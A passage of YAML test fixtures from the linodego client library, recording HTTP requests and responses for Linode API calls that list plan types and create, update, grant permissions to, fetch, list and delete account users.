1.5, "monthly": 1000.0}, "region_prices": [{"id": "us-east", "hourly": 1.8, "monthly": 1200.0}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "us-east", "hourly": 0.072, "monthly": 48.0}]}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 0, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-2", "label": "Dedicated 64GB + RTX6000 GPU x2", "price": {"hourly": 3.0, "monthly": 2000.0}, "region_prices": [{"id": "us-east", "hourly": 3.6, "monthly": 2400.0}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "us-east", "hourly": 0.144, "monthly": 96.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 0, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-3", "label": "Dedicated 96GB + RTX6000 GPU x3", "price": {"hourly": 4.5, "monthly": 3000.0}, "region_prices": [{"id": "us-east", "hourly": 5.4, "monthly": 3600.0}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 160.0}, "region_prices": [{"id": "us-east", "hourly": 0.216, "monthly": 192.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 0, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-4", "label": "Dedicated 128GB + RTX6000 GPU x4", "price": {"hourly": 6.0, "monthly": 4000.0}, "region_prices": [{"id": "us-east", "hourly": 7.2, "monthly": 4800.0}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 320.0}, "region_prices": [{"id": "us-east", "hourly": 0.288, "monthly": 384.0}]}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 0, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g6-premium-2", "label": "Premium 4GB", "price": {"hourly": 0.05, "monthly": 36.0}, "region_prices": [{"id": "us-east", "hourly": 0.06, "monthly": 43.2}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "us-east", "hourly": 0.0096, "monthly": 6.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "premium", "successor": null}, {"id": "g6-premium-4", "label": "Premium 8GB", "price": {"hourly": 0.11, "monthly": 72.0}, "region_prices": [{"id": "us-east", "hourly": 0.132, "monthly": 86.4}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "us-east", "hourly": 0.018, "monthly": 12.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "premium", "successor": null}, {"id": "g6-premium-8", "label": "Premium 16GB", "price": {"hourly": 0.22, "monthly": 144.0}, "region_prices": [{"id": "us-east", "hourly": 0.264, "monthly": 172.8}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "us-east", "hourly": 0.036, "monthly": 24.0}]}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "premium", "successor": null}, {"id": "g6-premium-16", "label": "Premium 32GB", "price": {"hourly": 0.43, "monthly": 288.0}, "region_prices": [{"id": "us-east", "hourly": 0.516, "monthly": 345.6}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "us-east", "hourly": 0.072, "monthly": 48.0}]}}, "memory": 32768, "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "premium", "successor": null}, {"id": "g6-premium-32", "label": "Premium 64GB", "price": {"hourly": 0.86, "monthly": 576.0}, "region_prices": [{"id": "us-east", "hourly": 1.032, "monthly": 691.2}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "us-east", "hourly": 0.144, "monthly": 96.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "premium", "successor": null}, {"id": "g6-premium-48", "label": "Premium 96GB", "price": {"hourly": 1.3, "monthly": 864.0}, "region_prices": [{"id": "us-east", "hourly": 1.56, "monthly": 1036.8}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "us-east", "hourly": 0.216, "monthly": 144.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "premium", "successor": null}, {"id": "g6-premium-50", "label": "Premium 128GB", "price": {"hourly": 1.73, "monthly": 1152.0}, "region_prices": [{"id": "us-east", "hourly": 2.076, "monthly": 1382.4}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "us-east", "hourly": 0.288, "monthly": 192.0}]}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "premium", "successor": null}, {"id": "g6-premium-56", "label": "Premium 256GB", "price": {"hourly": 3.46, "monthly": 2304.0}, "region_prices": [{"id": "us-east", "hourly": 4.152, "monthly": 2764.8}], "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}, "region_prices": [{"id": "us-east", "hourly": 0.36, "monthly": 240.0}]}}, "memory": 262144, "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "premium", "successor": null}, {"id": "g6-premium-64", "label": "Premium 512GB", "price": {"hourly": 6.91, "monthly": 4608.0}, "region_prices": [{"id": "us-east", "hourly": 8.292, "monthly": 5529.6}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "us-east", "hourly": 0.432, "monthly": 288.0}]}}, "memory": 524288, "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "premium", "successor": null}], "page": 1, "pages": 1, "results": 46}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1200" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestUserGrants_Update.yaml000066400000000000000000000205261455402072200317030ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"username":"linodegotest-updateusergrants","email":"linodegotest-updateusergrants@example.com","restricted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: POST response: body: '{"username": "linodegotest-updateusergrants", "email": "linodegotest-updateusergrants@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "188" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"global":{"account_access":"read_only","add_domains":false,"add_databases":true,"add_firewalls":true,"add_images":true,"add_linodes":false,"add_longview":true,"add_nodebalancers":false,"add_stackscripts":true,"add_volumes":true,"cancel_account":false,"longview_subscription":false}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateusergrants/grants method: PUT response: body: '{"linode": [{"id": 41591158, "label": "ansible-test-inventory", "permissions": null}, {"id": 41658354, "label": "tf_test-5934556314800509826", "permissions": null}, {"id": 41658415, "label": "tf_test-9137808634680747348", "permissions": null}, {"id": 41658417, "label": "tf_test-6820438710173430308", "permissions": null}, {"id": 41658428, "label": "tf_test-7984198885518639651", "permissions": null}, {"id": 41658616, "label": "tf_test-7823563263536727759", "permissions": null}, {"id": 41658675, "label": "tf_test-7500823998336775767", "permissions": null}, {"id": 41658677, "label": "tf_test-9039857053321143333", "permissions": null}, {"id": 41658694, "label": "tf_test-958893655126211430", "permissions": null}, {"id": 41823145, "label": "ubuntu-us-east-testing", "permissions": null}], "nodebalancer": [], "domain": [], "stackscript": [{"id": 1110207, "label": "ansible-test-197619451", "permissions": null}], "longview": [], "image": [{"id": 18529728, "label": "tf_test-6820438710173430308", "permissions": null}, {"id": 18529729, "label": "tf_test-2510365653812729564", "permissions": null}, {"id": 18529730, "label": "tf_test-9137808634680747348", "permissions": null}, {"id": 18529737, "label": "tf_test-7984198885518639651", "permissions": null}, {"id": 18529738, "label": "tf_test-7984198885518639651", "permissions": null}, {"id": 18529812, "label": "tf_test-7500823998336775767", "permissions": null}, {"id": 18529815, "label": "tf_test-9039857053321143333", "permissions": null}, {"id": 18529816, "label": "tf_test-958893655126211430", "permissions": null}, {"id": 18529817, "label": "tf_test-958893655126211430", "permissions": null}], "volume": [], "firewall": [], "database": [{"id": 14637, "label": "tf_test-563520466150203250", "permissions": null}, {"id": 14638, "label": "tf_test-6390117349771558899", "permissions": null}, {"id": 14639, "label": "tf_test-1374137760482804261", "permissions": null}, {"id": 14640, "label": "tf_test-3347111867749673643", "permissions": null}, {"id": 14641, "label": "tf_test-6859397732720482476", "permissions": null}, {"id": 14642, "label": "tf_test-8291666874639770804", "permissions": null}, {"id": 14643, "label": "tf_test-8193840941368456464", "permissions": null}, {"id": 14644, "label": "tf_test-4799969768229110427", "permissions": null}, {"id": 14645, "label": "tf_test-580262857426233267", "permissions": null}, {"id": 14646, "label": "tf_test-4469883573221458079", "permissions": null}, {"id": 14647, "label": "tf_test-2509947882041115336", "permissions": null}, {"id": 14648, "label": "tf_test-2870651309179209554", "permissions": null}, {"id": 14649, "label": "tf_test-5837446087162928096", "permissions": null}, {"id": 14650, "label": "tf_test-6665087439142600447", "permissions": null}, {"id": 14651, "label": "tf_test-5999066805637904071", "permissions": null}, {"id": 14652, "label": "tf_test-4281084641894890037", "permissions": null}, {"id": 14653, "label": "tf_test-7554465936951395838", "permissions": null}, {"id": 14654, "label": "tf_test-4133636875310411703", "permissions": null}, {"id": 14655, "label": "tf_test-8469382010146043663", "permissions": null}, {"id": 14656, "label": "tf_test-1209200813276963127", "permissions": null}], "global": {"add_domains": false, "add_linodes": false, "add_longview": true, "longview_subscription": false, "add_stackscripts": true, "add_nodebalancers": false, "add_images": true, "add_volumes": true, "add_firewalls": true, "add_databases": true, "account_access": "read_only", "cancel_account": false}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateusergrants method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestUserGrants_UpdateNoAccess.yaml000066400000000000000000000205261455402072200333220ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"username":"linodegotest-updateusergrantsna","email":"linodegotest-updateusergrants@example.com","restricted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: POST response: body: '{"username": "linodegotest-updateusergrantsna", "email": "linodegotest-updateusergrants@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "190" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"global":{"account_access":null,"add_domains":false,"add_databases":false,"add_firewalls":false,"add_images":false,"add_linodes":false,"add_longview":false,"add_nodebalancers":false,"add_stackscripts":false,"add_volumes":false,"cancel_account":false,"longview_subscription":false}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateusergrantsna/grants method: PUT response: body: '{"linode": [{"id": 41591158, "label": "ansible-test-inventory", "permissions": null}, {"id": 41658354, "label": "tf_test-5934556314800509826", "permissions": null}, {"id": 41658415, "label": "tf_test-9137808634680747348", "permissions": null}, {"id": 41658417, "label": "tf_test-6820438710173430308", "permissions": null}, {"id": 41658428, "label": "tf_test-7984198885518639651", "permissions": null}, {"id": 41658616, "label": "tf_test-7823563263536727759", "permissions": null}, {"id": 41658675, "label": "tf_test-7500823998336775767", "permissions": null}, {"id": 41658677, "label": "tf_test-9039857053321143333", "permissions": null}, {"id": 41658694, "label": "tf_test-958893655126211430", "permissions": null}, {"id": 41823145, "label": "ubuntu-us-east-testing", "permissions": null}], "nodebalancer": [], "domain": [], "stackscript": [{"id": 1110207, "label": "ansible-test-197619451", "permissions": null}], "longview": [], "image": [{"id": 18529728, "label": "tf_test-6820438710173430308", "permissions": null}, {"id": 18529729, "label": "tf_test-2510365653812729564", "permissions": null}, {"id": 18529730, "label": "tf_test-9137808634680747348", "permissions": null}, {"id": 18529737, "label": "tf_test-7984198885518639651", "permissions": null}, {"id": 18529738, "label": "tf_test-7984198885518639651", "permissions": null}, {"id": 18529812, "label": "tf_test-7500823998336775767", "permissions": null}, {"id": 18529815, "label": "tf_test-9039857053321143333", "permissions": null}, {"id": 18529816, "label": "tf_test-958893655126211430", "permissions": null}, {"id": 18529817, "label": "tf_test-958893655126211430", "permissions": null}], "volume": [], "firewall": [], "database": [{"id": 14637, "label": "tf_test-563520466150203250", "permissions": null}, {"id": 14638, "label": "tf_test-6390117349771558899", "permissions": null}, {"id": 14639, "label": "tf_test-1374137760482804261", "permissions": null}, {"id": 14640, "label": "tf_test-3347111867749673643", "permissions": null}, {"id": 14641, "label": "tf_test-6859397732720482476", "permissions": null}, {"id": 14642, "label": "tf_test-8291666874639770804", "permissions": null}, {"id": 14643, "label": "tf_test-8193840941368456464", "permissions": null}, {"id": 14644, "label": "tf_test-4799969768229110427", "permissions": null}, {"id": 14645, "label": "tf_test-580262857426233267", "permissions": null}, {"id": 14646, "label": "tf_test-4469883573221458079", "permissions": null}, {"id": 14647, "label": "tf_test-2509947882041115336", "permissions": null}, {"id": 14648, "label": "tf_test-2870651309179209554", "permissions": null}, {"id": 14649, "label": "tf_test-5837446087162928096", "permissions": null}, {"id": 14650, "label": "tf_test-6665087439142600447", "permissions": null}, {"id": 14651, "label": "tf_test-5999066805637904071", "permissions": null}, {"id": 14652, "label": "tf_test-4281084641894890037", "permissions": null}, {"id": 14653, "label": "tf_test-7554465936951395838", "permissions": null}, {"id": 14654, "label": "tf_test-4133636875310411703", "permissions": null}, {"id": 14655, "label": "tf_test-8469382010146043663", "permissions": null}, {"id": 14656, "label": "tf_test-1209200813276963127", "permissions": null}], "global": {"add_domains": false, "add_linodes": false, "add_longview": false, "longview_subscription": false, "add_stackscripts": false, "add_nodebalancers": false, "add_images": false, "add_volumes": false, "add_firewalls": false, "add_databases": false, "account_access": null, "cancel_account": false}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateusergrantsna method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestUser_Get.yaml000066400000000000000000000112361455402072200300170ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"username":"linodegotest-getuser","email":"linodegotest-getuser@example.com","restricted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: POST response: body: '{"username": "linodegotest-getuser", "email": "linodegotest-getuser@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "196" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-getuser method: GET response: body: '{"username": "linodegotest-getuser", "email": "linodegotest-getuser@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "196" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-getuser method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestUser_GetMissing.yaml000066400000000000000000000021101455402072200313400ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/does-not-exist method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestUser_Update.yaml000066400000000000000000000111721455402072200305210ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"username":"linodegotest-updateuser","email":"linodegotest-updateuser@example.com","restricted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: POST response: body: '{"username": "linodegotest-updateuser", "email": "linodegotest-updateuser@example.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "177" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"username":"linodegotest-updateuser-updated","restricted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateuser method: PUT response: body: '{"username": "linodegotest-updateuser-updated", "email": "linodegotest-updateuser@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateuser-updated method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestUsers_List.yaml000066400000000000000000000115731455402072200304020ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"username":"linodegotest-listuser","email":"linodegotest-listuser@example.com","restricted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: POST response: body: '{"username": "linodegotest-listuser", "email": "linodegotest-listuser@example.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "199" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: GET response: body: '{"data": [{"username": "ychen123", "email": "yechen@akamai.com", "restricted": false, "ssh_keys": [], "tfa_enabled": true, "verified_phone_number": null, 